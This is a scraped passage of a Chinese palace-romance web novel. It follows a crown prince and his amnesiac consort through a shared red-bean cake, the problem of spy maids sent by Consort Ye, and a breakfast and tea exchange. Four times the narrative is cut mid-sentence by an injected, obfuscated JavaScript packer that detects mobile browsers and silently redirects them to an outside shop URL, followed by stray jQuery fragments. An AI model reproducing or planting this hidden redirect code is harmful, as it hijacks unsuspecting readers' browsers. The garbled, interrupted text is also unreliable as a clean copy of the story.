陆修珩又问:“太子妃如何处理此事?”
刘宝回想了一下当时场景,忍笑道:“娘娘已经领旨谢恩了,那四名婢女皆安排在毓华殿伺候。”
叶贵妃此举本来便是司马昭之心路人皆知,京中不知多少双眼睛等着看太子妃的反应,太子妃娘娘却毫无芥蒂地收下了,就让她们在毓华殿中伺候。可惜叶贵妃精挑细选的四个大美人儿,精心打扮了站在太子妃的面前,也不过是中上之姿而已。
陆修珩不易察觉地皱起眉,失忆后的沐夷光无疑性子单纯许多,但有些事要处理起来也麻烦许多,他惯来不喜外人,两人先前颇有默契地经营起了东宫“独宠”的传闻,这本是绝佳的借口。
只是如今耳目已经明目张胆地安插在了毓华殿内,陆修珩少不得要回去作秀,借沐夷光的手尽早将其打发出去才好。
他望了望窗外的连绵阴雨,道:“去备马车,今夜回东宫。”
刘宝小心翼翼地提醒道:“殿下,之前娘娘曾说希望殿下回宫之时为她带一份手信,您看……”
想起临行前沐夷光拉着自己的衣袖撒娇的情形,陆修珩隐隐觉得自己的头痛又要犯了。
这次便罢了,以后绝不能再惯她这个坏毛病。
陆修珩揉了揉眉心,语气泛着冷意:“既然知道,还不快去准备?”
作为一名细心周到的内侍,刘宝早有成算,立刻献言道:“回京路上有一家卖红豆馅儿饼的老店,不如买几个带给太子妃娘娘尝尝?”
他觉得自己这个主意简直绝妙,后宫里的女人什么都不缺,缺的只是心意罢了,这红豆馅儿饼几文钱一个,寓意却绝妙,更何况还是太子殿下从京郊亲自带回来的,不比那些俗礼更让人动容?
陆修珩睨他一眼,颔首同意了。
马车在回城的路上奔驰,隔了数十丈远,刘宝便已经闻见了清醇浓厚的红豆香气,便连忙吩咐车夫在前面那家店面门口停下。
此时天色已晚,天空又飘着小雨,门口只有一个神色黯然的中年男子,短衫上的补丁打得精细而隐秘,看上去干干净净的。
店主应当与他是老相识了,笑呵呵地与他打招呼:“老吴,又来给你家娘子买红豆馅儿饼呐?真是不巧了,今日的饼已经卖完了。你家娘子的病可好些了?”
老吴脸色灰败地摇了摇头,伸手去摸随身的烟斗,才想起自己已经戒了:“她可能……熬不过今天了。”
店主大惊,理了理剩下的材料,连忙道:“老吴你别急,刚好还剩一个饼的料儿,我这就去给嫂夫人做出来。”
老吴感激地点了点头,店主立刻开始忙活起来。
刘宝将二人的对话听得一字不落,难得地动了恻隐之心,他忽然想到一个更好的主意:“殿下,这红豆馅儿饼咱还买吗,要不就让给此人,将这个故事带回去讲给太子妃娘娘听,岂不是更有意义?”
陆修珩正在浏览这几日送到京郊的邸报,他头也未抬,冷声道:“多给些银钱便是。”
只要价钱合适,万物皆可交易,情爱也不过如此。
刘宝立刻依言照做,他下车向买主表明来意,那老吴原本想拒绝,但看到刘宝给了一两银子的高价,又犹豫了。
自己辛辛苦苦肩挑步担,一日最多也赚个二三十文,而这五两银子,已可保证自己衣食无忧地过上十年了。
老吴嘴唇翕动了好几下,最终还是同意了。
香软酥脆的红豆馅儿饼用一圈油纸包着,腾腾地冒着热气,不到半个巴掌大小,刘宝只觉得沉甸甸的。
他将红豆馅儿饼奉给殿下看,半是讨好半是开解自己道:“咱也算做了件好事,那庄稼汉拿了钱,去买些吊命的药材,没准他娘子又能多活上几日呢。”
陆修珩只抬了抬眸,将手中邸报又翻动一页,漠然道:“本朝物价低廉,这五两银子已够他再娶好几个续弦了,何必在一个死人身上下功夫。”
刘宝哑口无言,回想起那老吴小心翼翼将银子贴身收好、又回头查看是否被店主发觉的情形,不得不再一次感慨殿下知人之鉴。
*
入了夜,京中也随风落下绵绵细雨,沾湿了庭院里的花。
沐夷光喝了好几日的药,病情总算是稳定下来了,肩上的外伤也在好转,只是目前仍在静养期,因为害怕肩上伤口留疤,即便她对京城好奇得要命也没有出门。
不能和陆修珩去京郊别院,她只好寻了本京城札记打发时间,晚风斜斜吹入屋内,带来几分寒意,亦吹得寝殿内的烛火闪动。
屋内烧着地龙,她穿了条素雪娟曳地裙,外搭了一件嫩黄色的褙子,长发随意披散在身后,亮得如同上好的墨绸,极为素净的打扮,被她穿来却显得鲜妍明媚。
沐夷光眨了眨眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629037|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,望着灯影微微出神。
不知殿下的病养得如何了,又会为自己准备什么礼物呢?
陆修珩来到毓华殿的时候,见到的便是如此情形,只是那双眼睛在看到自己之后,立刻变得光彩溢目起来。
见殿下来了,沐夷光立刻乖乖地起身坐好,问太子殿下安。
除了惯用的秋霜与长缨,她的身边又新添了四个婢女,赐名白露、素月、清风、晓霞。
沐夷光有伤在身,陆修珩早已免了她的礼,倒是那四位婢女娇娇弱弱地行了礼,眼神含羞带怯,只望太子殿下能垂怜一眼。
陆修珩看也未看那四名婢女,对沐夷光道:“这几日可有按时喝药?”
他面上依旧不带什么表情,声音像是春日山涧,冰冷又有些清润,说的也是她最讨厌的事情,但是沐夷光却硬是能从其中听出几分关怀意味。
她扬起脸,绽开一个明媚的笑:“多谢殿下关心,已经好多了。”
陆修珩也不再细问,示意刘宝将食盒呈上来,言简意赅道:“此行手信。”
沐夷光立刻被勾起了兴趣,将食盒打开,发现里面是一枚红豆馅儿饼。
可日行千里的宝马一路疾驰,饼子在保温的食盒里盛着,回到东宫时还是热的,面饼金黄香脆,散发出淡淡的红豆清香。
她将油纸里的馅儿饼掰成两半,立刻便听到了酥皮破碎的声音,那清香也变得浓郁起来,沐夷光轻轻咬了一口,外酥里嫩,红豆馅儿绵密甜润,似乎还有一点奶香味,好吃极了。
她将手里的半块馅儿饼吃完,满足地眯了眯眼睛,沐夷光捏着剩下的半块,想了想,最后还是慷慨地递给了陆修珩。
那半块馅儿饼被油纸包裹着,握在那双纤细白嫩,如削春葱的玉手里,露出柔软香甜的红豆沙馅儿,油纸上透出一点油渍,沾在她粉嫩的指甲上,亮晶晶的,像是透明的丹蔻。
陆修珩有一瞬间的惊愕,随即拒绝:“不必。”
以为陆修珩是在让着自己,沐夷光的唇角又扬了扬:“真的很好吃,殿下也尝尝看?”
明明只是再普通不过的民间吃食,配上美人笑靥,似乎也能变得美味起来。
她不由分说地将馅儿饼凑到了陆修珩的唇边,众目睽睽之下,陆修珩只好接受了她的好意,张嘴咬了一口。
沐夷光的眉眼弯弯的,颊边的小梨涡盛着比红豆沙更为甜美的笑意:“怎么样,好吃吗?”
陆修珩微微皱着眉:“太甜了。”
他说的是实话,因为常年养病忌口的缘故,陆修珩的饮食极为清淡,这里边的红豆馅儿对他来说确实有些甜腻了。
沐夷光不信,这甜味儿明明很清淡,她作势要收回手:“真的吗,既然殿下不喜欢,那就还给我吧。”
陆修珩抿了抿唇,眉头皱得更紧了,即便二人是夫妻,他也不能让沐夷光吃他吃过的东西,那样实在太奇怪了。
他又不想去接那有些油腻的油纸包,只好伸手拦住她,勉强就着她的手吃完了剩下的半个馅儿饼。
这场面惊呆了殿中众人,那四名婢女心中更是酸涩:太子妃本就生得仙姿玉貌,又与太子殿下如此恩爱,自己怕是没有这飞上枝头变凤凰的机会了。
只有沐夷光心里成就感满满:殿下虽然傲娇,但似乎很听自己的话呢!
8. 第 8 章
即便如此,太子殿下的面子也是要顾的,沐夷光一边喂陆修珩吃完了馅儿饼,一边吩咐长缨去倒茶。?
长缨原本想借此机会替娘娘好好表现一下,走到茶柜前却犯了难,太子殿下来毓华殿的次数太少,她的确不知太子爱喝哪种茶。
白露不知何时也离开了寝殿,悄悄跟上前来提醒道:“长缨姐姐,太子殿下惯饮蒙山石花。”
长缨抬头看她一眼,这白露是四婢之中容貌最好的那个,心思竟也如此细腻,还知道太子殿下爱喝什么茶,叶贵妃派她来东宫为婢的心思简直昭然若揭。
不过她还是按下心中猜疑,点了点头,目不斜视地去取来蒙山石花,要冲沸水。
白露又道:“姐姐,这茶不是这么泡的,蒙顶石花茶叶鲜嫩,不宜用沸水冲泡。”
……哪儿来这么多事儿。
本朝自太祖皇帝下令废除团茶起,茶道便以简为风,何况沐将军是武将,府上行事一直就是粗枝大叶的,长缨的确不太懂。
但见白露似乎又说得很在理,她只好让步道:“那你来吧。”
白露一边投入茶叶,一边柔柔道:“蒙顶石花叶嫩,为了避免烫伤茶叶,除了不能用沸水冲泡以外,还要用先注水后上投茶叶的方法来冲泡。”
说着她又抬高手腕,为长缨表演了一个凤凰三点头,
长缨干巴巴地捧场:“不愧是宫里出来的人,白露姑娘懂得可真多。”
白露微笑着藏起眼神里的算计:“不过是分内之事罢了。”
说着她便已经泡好了茶,奉起茶盘,长缨正准备去接,她却转了个弯避了过去:“姐姐小心烫,这等小事,便由奴婢去做吧。”
长缨一愣:我连沸水都不怕,还怕这个?
这一愣她就失了先机,长缨再跟上去的时候,白露已经端着茶盘,款款走到了太子殿下面前,嘴角弯出一个恰到好处的笑:“太子殿下,请用茶。”
白玉茶杯里的茶汤嫩绿清亮,香气浓郁芬芳。
陆修珩看她一眼,目光冰冷如刀锋。
蠢得如此出挑,多半便是叶贵妃派来的人了。
白露在来之前便由贵妃娘娘派人精心调教过,她虽然听闻过太子的事,但放弃又心有不甘,便静静地捧着茶盘等待。
沐夷光这才明白了此婢的用意,她轻哼一声,端看陆修珩的反应。
若是他敢接这杯茶,她就要生气了。
好在陆修珩的表现过关,他直接对刘宝道:“退下吧,孤与太子妃有事要议。”
刘宝心知是要与太子妃商议处理这四名婢女的事,连忙带着众人退下,白露的脸涨得通红,也只好作罢。
房中只剩下两人,陆修珩开门见山道:“叶贵妃赏赐的那四名婢女你意下如何?”
沐夷光睁大眼睛看着他,仔细地想他说这话是什么意思。
这四名婢女名义上是叶贵妃赏给自己的,可只怕是项庄舞剑,意在沛公,陆修珩竟是为此才特意从京郊赶回来的吗?
沐夷光咬着唇,越想越委屈,清亮的眼睛已然蒙上一层薄薄的水光。
眼看沐夷光就要落下泪来,但陆修珩并不动容,不由分说道:“东宫不缺奴婢,你若是喜欢那奴婢泡茶的手艺,孤明日再派人为你寻一个,这四人不能留。”
情绪酝酿了许久,忽然被人打了岔,沐夷光愣愣地眨了眨眼,确认自己没听错:“殿下的意思是……?”
陆修珩淡淡道:“叶贵妃赠礼不安好心,这四人须得安置在外院,最好能寻个由头打发出去。”
没想到太子殿下能够如此想人自己所想,急人之所急,沐夷光有些不好意思地擦了擦眼睛:“这个道理臣妾自然省得,只是先前觉得长者赐,辞之不恭,才应下来的。要不就将她们安置在外院吧,若是直接打发出去,臣妾不就成了妒妇了吗?”
她心里知道自己是个不能容人的,便更要做得小心谨慎些,不能留人话柄。
只是刚失忆时沐夷光还有所收敛,如今与太子日渐熟悉,终于要露出娇纵本性:“殿下帮帮我好不好?”
她的声音本就清甜,撒娇时更是软软糯糯,像羽毛般戳中心中软处。
陆修珩原是不吃这一套的,但如今也不得不应下了,他忽然有些怀念失忆以前那个懂事省心的太子妃,至少往日里她替他回绝那些莺莺燕燕之时,从未考虑过自己的名声。
他并未去深究个中原因,只道:“那便依你所言,孤来处理此事。”
见目的达成,沐夷光被泪水洗过的眼眸立刻变得亮晶晶的:“多谢殿下。”
许是乐极生悲,她刚刚道完谢,忽然觉得头有些痛。
疼痛越来越剧烈,失去的记忆也飘飘荡荡地涌现了一点,似乎曾经也有人郑重地许诺过自己:“一生一世一双人。”
她想当然地把这句台词加诸太子殿下,之前长缨说自己东宫独宠时,她也不曾想过殿下竟会如此宠爱自己,现在只觉得失忆以来的迷茫与怅然已经消失殆尽,脑海里朦胧而深沉的爱意也都找到了出口。
可惜她暂且只想起这一句话,多的再也想不起来了。
陆修珩看着她难受的样子,淡淡问道:“怎么了?”
沐夷光捂住额头,疼得眼里的水雾又弥漫了出来,软声道:“殿下,我的头好痛。”
已知沐夷光的秉性,陆修珩并未宣太医,径直执起她的手为她把脉。
带着凉意的手指轻轻压在了沐夷光的手腕上,很快又离开:“络脉晦涩,应是淤血阻塞,不通而痛。”
两个人的距离拉近,沐夷光闻到了一点清浅的青桂气息,似乎可以镇心宁神。
她用另一只手托腮看着他:“那应该怎么办呢?”
陆修珩看她一眼,慢条斯理道:“你又不肯喝药,孤也不是大夫,还能怎么办?”
他的语气有些慵懒,但依旧沉定而悦耳,似乎有着一句话便可以让一颗心安定下来的神奇魔力。
沐夷光忽然很有一种想要靠他更近一点的冲动,得寸进尺地开始要求:“殿下帮我揉一揉嘛,我帮你暖手好不好?”
说话间,她已经自然而然地拉过他的手,大方贴在了自己的脸颊上。
他的手修长干净,因为体弱削瘦的原因,骨感格外分明,但就连骨头也是漂亮的。
沐夷光原以为太子殿下养尊处优,没想到除了执笔的地方,掌心和虎口处也略有薄茧,但是却更让人觉得安心了。
脸颊的皮肤细腻而温热,比上好的丝绸还要滑腻,源源不断的热度自掌心传来,竟让人舍不得放手。
陆修珩的自制力惊人,仍是将
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629038|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手抽了出来,故作淡定道:“不必了,孤帮你揉便是。”
他说这话自有考量,毕竟那四名婢女仍在殿外候着,自己与沐夷光表现得亲近些也未尝不可。
沐夷光是娇宠惯了的,也并不觉得太子殿下此举有半点不妥,虽然那疼痛来得快去得也快,但她还是装出一副虚弱的样子,满怀期待地仰起了头。
陆修珩久病成医,随手为她按压了几个穴道,沐夷光便发出了舒服的喟叹,甚至将头顶轻轻在他的掌心蹭了蹭。
……像是一只听话的猫儿。
陆修珩忽然冒出这样一个不切实际的联想,他敛了敛心神,收回手道:“好了。”
舒适的享受忽然被打断,沐夷光都有些舍不得他走了。
她是想什么就说什么的性格,立刻便转过头挽留道:“多谢殿下,殿下今夜可要留下安寝?”
沐夷光的想法很单纯,既然二人是夫妻,同床共枕也是本分,何况太子殿下长得好看,身上的味道也好闻,要在一起睡觉她也并不排斥。
说完她便习惯性地要去拉他的衣袖,却发现不知何时殿下已是负手而立,肃然地看着自己,只好作罢。
陆修珩防得了她扯袖子,却防不了她语出惊人。
这话题跳转得太快,他听得微微一愣,竟是难得地磕巴了:“不、不了。”
很快又流畅地接道:“你有伤在身,还是先好好养伤吧。”
这样体贴的回答自然又戳中了沐夷光的心窝,于是她难得听话地点了点头:“臣妾恭送殿下。”
众人见太子殿下在太子妃寝殿呆了好一会儿,又快步走了出来,心中各有想法。
长缨心中还满是娘娘与殿下共食一块红豆馅儿饼的欢喜,青霜只担心娘娘会不会惹殿下不快了,新来的四位婢女却注意到殿下并未留寝一事。
陆修珩敏锐地察觉到四道视线,若不是顾忌宣成帝猜疑,只想将这四人杀了了事。
他按捺心中杀意,淡声吩咐沐夷光的两位大丫鬟:“太子妃有伤在身,孤就不留寝了,你们好生伺候。”
二人低头喏喏称是。
这话说得亲近,长缨心中兴奋不已:这次不留,岂不是下次就留了?
青霜却听得心中疑惑:太子殿下从未在毓华殿中留寝,何来此言?
陆修珩又扫了一眼那四名婢女,心中已有计较,大步迈出门去了。
出了毓华殿,陆修珩问刘宝道:“李禄仕回京了吗?”
李禄仕便是那名陆修珩专属的大夫,虽然起了个这么庸俗的名儿,却是个出世的神医,此行便是去云游兼为太子寻药去了。
“还没有,”刘宝露出担心神色,连忙关切道:“可是殿下身体不适,是否要急召他回京?”
“不用,你即刻修书一封,将太子妃受伤一事告知于他,询问这失忆离魂之症该如何医治。”
刘宝明白了,原来是为了太子妃的病情,他呵呵笑道:“太子妃娘娘失忆后性子跳脱许多,倒像小孩儿似的,天真活泼。”
陆修珩并未接话,他面无表情按了按眉心,只觉得自己好像也有些头疼了。
他更需要没有失忆的太子妃,省心懂事不说,更不会出言无忌、……恣意妄为。
想了想,他还是没有给她安上轻浮不庄的罪责。
9. 第 9 章
送走了太子殿下,青霜与长缨又请来医女为娘娘的伤口换药。
医女小心翼翼地将沐夷光肩上的纱布拆下,发现伤口已经结痂了,连忙换了干净的棉布沾了盐水为她进行清洗,深色的药膏痕迹被轻轻擦净,光滑白皙的肩窝上露出半寸大小的红褐色血痂来。
沐夷光只觉得受伤的地方痒痒的,低头看了一眼,难过得几乎要哭出来了:“本宫这伤口还要多久才好啊?”
医女在宫中服侍了这么久,对娘娘们的顾虑都十分了解,她温声劝慰道:“娘娘放心,奴婢已经为您换了新药,大约十日左右这血痂便会自行脱落了。”
她一边涂药一边道:“这是宫中秘制的玉露膏,对伤口愈合极有好处,每晚涂上一次,不可过多使用。”
绿色的膏药薄薄涂了一层,立刻便有清凉舒缓的感觉从伤处弥漫开来,沐夷光才舒了一口气,医女又嘱咐道:“这新肉生长时伤处会痒,娘娘您可千万要忍住了,血痂脱落之前肩膀动作都要小心些,饮食也要清淡,若是不小心将血痂揭掉了,就有可能留疤。这几日衣裳最好也穿宽松些,让伤口透气,有利于恢复。”
沐夷光点了点头:“多谢姑娘。”
医女将玉露膏交给青霜,便行了礼退下了。
沐夷光躺在厚厚的锦被里,露出半个肩膀来,开始发愁:白天尚可克制,若是晚上不小心碰到了可如何是好?
她咬了咬牙,狠心道:“长缨,你去为本宫取条丝帕来,入睡前将本宫的双手绑住。”
长缨知道娘娘对容貌的重视程度,也只好应了。
她取来丝帕,掀开锦被,但见娘娘身着抹胸,朝自己伸出双手——那抹胸是墨绿色的,上面绣着鹅黄的牡丹,将娘娘的肌肤衬得白嫩润泽,腰上的系带不盈一握,配上那双纤秀莹白的柔荑……
沐夷光催促她:“本宫让你绑你就绑。”
长缨还在心里惋惜殿下今夜没能留寝,连忙抖抖索索地为娘娘绑上丝帕,又盖上锦被,觉得自己实在是越大级、逾大矩了。
丝帕柔软,又绑得不轻不重恰到好处,杜绝了自己入睡后误触伤口的可能,沐夷光很是满意,只是目前还有点不习惯。
她命青霜熄了烛火,在黑暗里躺了好一会儿,仍是睡不着。
今晚是青霜守夜,她听闻娘娘的叹息声,立刻走了过来:“娘娘,怎么了?”
沐夷光心里还有别的事,她也不忸怩了,直接道:“青霜,你说太子殿下今夜为何不留寝呢?”
之前她的伤口都包着纱布,如今将纱布撤换下来,她才发现伤处长得那样丑陋,连她自己都有些嫌弃了,再联想到之前陆修珩拒绝侍寝一事,她心中自然就有了别的想法。
青霜猜到了她的心思,努力安慰道:“娘娘宽心,太子殿下的战功亦是战场上真刀真枪拼杀出来的,见过的伤疤多了去了,而且殿下也不是这般肤浅的人,娘娘的伤是为了救太子殿下留的,殿下见了,只会更为感动才是。”
沐夷光抿了抿唇,仍然沉浸在被拒绝的小失落里,她的心思也矛盾,又不想让殿下看见自己的伤,又不愿意太子殿下拒绝自己。
过了一会儿,沐夷光又道:“本宫问你,本宫与殿下成亲以来,是如何同房的?”
青霜犹豫了一瞬,如实答道:“除了新婚之夜,娘娘与殿下从未同房。”
这个答案出人意料,沐夷光追问道:“这是为何?”
青霜摇了摇头:“奴婢也不知。”
她说的亦是她所了解的实情,新婚那夜太子殿下的确是留宿了的,只是他屏退了众人,青霜不知二人只是和衣躺了一夜,亦不知那送入宫中的元帕也是殿下派人伪造的。
“那陛下不会敦促殿下的子嗣问题吗?”
纵然沐夷光现在只有未出阁前的记忆,她也是知道夫妻二人是要在一起睡觉才会有小宝宝的。太子嫡子可是关乎江山社稷的大事,何况太子殿下的身体本身就不好……
等等,自己好像找到了问题的关键!
沐夷光越想越觉得有道理,要有子嗣的前提是夫妻身体康健,自己当然没有问题,而太子殿下的身体状况却是有目共睹的。
青霜还在绞尽脑汁地回答这个问题:“……殿下身体不好,常年养病,陛下对殿下看顾得少,奴婢也未曾听说陛下过问过此事。”
沐夷光只觉得青霜的回答也侧面印证了自己的想法,殿下身体不好,不能有子嗣,所以甚少与自己同房。
顾虑到太子殿下的自尊心,她一脸严肃地对青霜道:“好了,本宫知道了,以后除非太子殿下主动提起,休要再提此事,下去吧。”
青霜不知道这片刻的时间里娘娘已经走过了怎样复杂曲折的心路历程,她点点头,默默地下去了。
将不能同房的锅甩给了陆修珩,沐夷光便能心安理得地睡下了,一夜无梦。
第二日一早,青霜与长缨便带着丫鬟进门伺候娘娘梳洗,沐夷光扬眉一看,白露与素月也跟在后面。
青霜一边为她净面,一边低声道:“昨夜刘总管便将清风与晓霞带走了,据说是安置在外院做事,这两个仍留在毓华殿。”
沐夷光面上强装镇定,心中却立刻生起气来:陆修珩昨日明明答应自己将人打发出去的,留了两个在毓华殿也就罢了,偏偏还是生得好些的那两个,他挑人竟是按容貌挑的吗?!
她犯不着和一个奴婢计较,只是越想越生太子的气,好在她气头上也仍然记着医女的劝告,吩咐长缨取来一身艾绿织金的云霞练鹊纹花缎圆领女袍,未配云肩,连早膳也不用了,径直带着两个大丫鬟缓步去端敬殿找太子殿下算账去。
端敬殿守卫森严,即便是太子妃娘娘,也须得太子殿下的允许才可进入,沐夷光被侍卫拦在门外,心中又狠狠给陆修珩记了一笔。
时辰尚早,刘宝正准备服侍太子殿下用膳,却听得侍卫来报,太子妃娘娘求见。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629039|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这还是娘娘与殿下成亲以来第二次主动来端敬殿——第一次便是上回刚失忆误打误撞进来的时候,刘宝不敢怠慢,连忙请示殿下:“殿下,娘娘在端敬殿外求见,可要让娘娘进殿?”
陆修珩已经猜到她此行所为何事,左右今日无事,他点头应允了。
给李禄仕的飞鸽传书昨夜才发出去,他一向云游不定,回信也不知是何时的事情了,要在太子妃失忆期间不露出端倪,自己还是得多费点心。
刘宝立刻派人去迎接太子妃,顺便告诉她殿下请她一道去用饭。
小太监走在前面为沐夷光带路,青霜与长缨跟在后面,她俩也是娘娘与殿下大婚以来第一次进殿。
早饭摆在西边的次间里,陆修珩坐在主座,正在等她吃饭。
见此情景,沐夷光的气消了一点,但还是翘起嘴巴瞪他一眼。
沐夷光的心思简单好猜,陆修珩好整以暇地看着她,她正要说话,又被扑鼻而来的饭菜香气吸引了注意。
桌上的菜色简单,分别是沙参玉竹汤、白玉萝卜盅、淡菜煨肉、双贝煲冬瓜以及芦根杏仁粥,大多是润肺清心的食材,盛在珐琅彩瓷的黄地牡丹碗里,倒是为清淡的菜肴增色不少。
沐夷光原本是来生气的,看到一桌子养身的药膳,立刻便懈气了几分。
陆修珩身体不好,自己还是不要在吃饭的时候与他怄气了。
因是两个人吃饭,桌上摆了两双公筷,陆修珩在吃饭的时候也不喜人侍奉,都是亲自动手,他的动作行云流水,公筷放下的时候一点儿声音没有,整个过程安静而优雅,像是一幅会动的画一般。
沐夷光带着气性地审视着眼前这幅画,只是她看来看去,也实在无从挑剔,太子殿下的容貌和气度都是顶顶好的,虽然看上去冷清疏离了些,但配上那身因为病弱和少见日光养出来的冷白皮肤,整个人像是釉色莹润、精致脆弱的白瓷一般,哪怕得了他的冷脸,也依旧让人想小心翼翼地将其捧在手心。
再看下去就生不了气了,她移开眼神,决定认认真真开始吃饭。
虽是药膳,味道依旧做得精致鲜美,沐夷光不过挑了一筷子,眼睛就亮了。
尤其是那白玉萝卜盅里的肉圆,香滑弹嫩,鲜甜爽口,那圆子又做得紧实可爱,几口就能吃掉一个。
那拌肉圆的佐料也不知是怎么调的,将肉的鲜甜与萝卜的清香融合到了极致,光是好吃二字已经不足以形容了,沐夷光又伸手夹了一个到自己的碗里。
除了必要出席的宫宴,这还是陆修珩第一次与沐夷光同桌吃饭,而那些宫宴大多无聊又俗套,宴会上的沐夷光只是温良娴舒的太子妃,进食也只是一种礼节而已,而不是像现在这样,吃东西的时候认真极了,眼睛亮亮的,像是一只……努力啃食食物的小动物。
陆修珩摁下这莫名其妙的想法,继续用着早饭,两个人都沉默无言,刘宝却惊喜地发现殿下竟比平日里多用了一碗粥。
10. 第 10 章
这份平静只延续到用完早膳,毕竟端起碗要吃饭,放下筷子就可以算账了。
沐夷光正襟危坐,对陆修珩瞋目而视:“太子殿下!”
他挑起一双好看的眉眼看向她,沐夷光的气势立刻就弱了下来,她清了清嗓子,努力正色道:“殿下,你是不是有什么话要和我说?”
陆修珩抬手示意下人奉茶,又不动声色地将话题抛还给她:“什么话?”
沐夷光立刻就沉不住气了:“你昨天明明答应我的——”
她还要再往下说,却被小太监端来的茶盘吸引了目光。
茶盘上的阳羡紫砂小茶壶与甜白八方茶钟对她而言都没有什么吸引力,但那茶盘上居然还摆了一座粉白色的双鹅玉雕,这玉双鹅是用桃花冻石雕成,一大一小两只玉鹅在水中嬉戏,口中似乎还叼着什么东西,整块玉雕不过拳头大小,但是情态生动,相映成趣,更奇的是那水中淡淡绯红似动非动,宛若轻薄桃花逐流水。
沐夷光着实喜欢,而且她收藏了一套小巧玲珑的桃花冻石茶盏,正缺这样一小座同色的玉双鹅摆件。
只是吃人嘴软拿人手短,若是自己占了两样,说话还怎么硬气得起来?
沐夷光的眼睛眨啊眨,强迫自己移开视线,殊不知自己的想法都写在那双琉璃珠子般的眼眸里了:她想要那玉双鹅。
陆修珩故作不知,执起茶壶为她沏了一杯茶,淡黄的茶叶在洁白如玉的茶钟中缓缓舒展开来,衬得茶色清亮柔白,散发出浓郁的芳香,正是阳羡紫笋。
昨夜的回忆立刻涌了上来,沐夷光只觉得那茶香都变得酸涩起来,意有所指道:“殿下不是爱喝蒙顶石花吗,今日怎么又换了阳羡紫笋?”
少有人敢这样与太子殿下说话,好在陆修珩并不与她计较,甚至同样地意味深长道:“你殿中沏茶用的玉泉水也是极好的,可惜未用竹笕过滤,平白浪费了好茶。”
没想到陆修珩的嗅觉灵敏到了如此地步,还未饮茶,便能分辨出煮茶的水是什么水。
但是沐夷光一动不动,她心里还生着气呢,喝不下茶。
陆修珩将茶钟推至她的面前,道:“这是引春日天泉煮的茶,尝尝看?”
不说还好,这样一说,他的罪过更大了,沐夷光瞪他一眼:“殿下真是爱博而多情。”
京中谁人不知陆修珩是淡漠疏离、不近女色的性子?可知女子生起气来,是不讲道理的。
陆修珩无奈,只好又解释道:“孤并不曾偏爱蒙顶石花,也并非私好阳羡紫笋,品茶不过是心境而已。”
沐夷光这才执起茶钟饮了一口,的确是如玉露般甘冽芳香。
但自己今日可不是来品茶论道的,打太极打不过陆修珩,沐夷光干脆直截了当道:“殿下昨夜分明答应我要将人送走的,为何说话不算数只送走一半?”
陆修珩心平气定地为自己倒了一杯茶,浅啜一口,才道:“叶贵妃近日要在宫中设春日宴,以筹备花朝节。这四婢到底是宫里出来的,你如今失忆,青霜与长缨虽然忠心,但对宫中情况并不了解,届时可以带她二人一同赴宴。只是人言未必犹尽,听话只听三分即可。”
沐夷光一听便觉得麻烦:“臣妾怕是应付不来诸位宫妃命妇,可不可以称病不去啊?”
她习惯性地要去拉陆修珩的衣袖,只是还没碰到,陆修珩已经先发制人,隔着衣袖握住了她的手腕,不露痕迹地将她的手放下,淡淡道:“既知你已经失忆了,有什么不妥,旁人也不会与你计较。”
春日宴自然算不得什么,可花朝节是大齐一年一度的盛会,皇帝还会在那日亲自主持挑菜御宴,这春日宴的身价便也水涨船高了起来。
沐夷光知道他说得在理,不过她心里惦记着那座玉双鹅,仍然把架子摆得高高的:“那臣妾若是去赴宴,会有什么奖励吗?”
见她的眼神不住地往茶盘上飘,陆修珩难得起了一点逗弄的心思:“太子妃既然这样喜爱这套茶具,孤便赏赐给你了。”
沐夷光连忙摇头,身体不自觉地往前凑了凑,眼睛巴巴地看着他,像是漾起涟漪的湖面,波光粼粼。
“臣妾不要那套茶具,殿下把那一小座双鹅玉雕赏给臣妾吧?”
陆修珩看向那玉双鹅,似乎想起了什么趣事,深黑眼眸中难得流露出一丝得色:“那可不能给你。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14629040|156254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
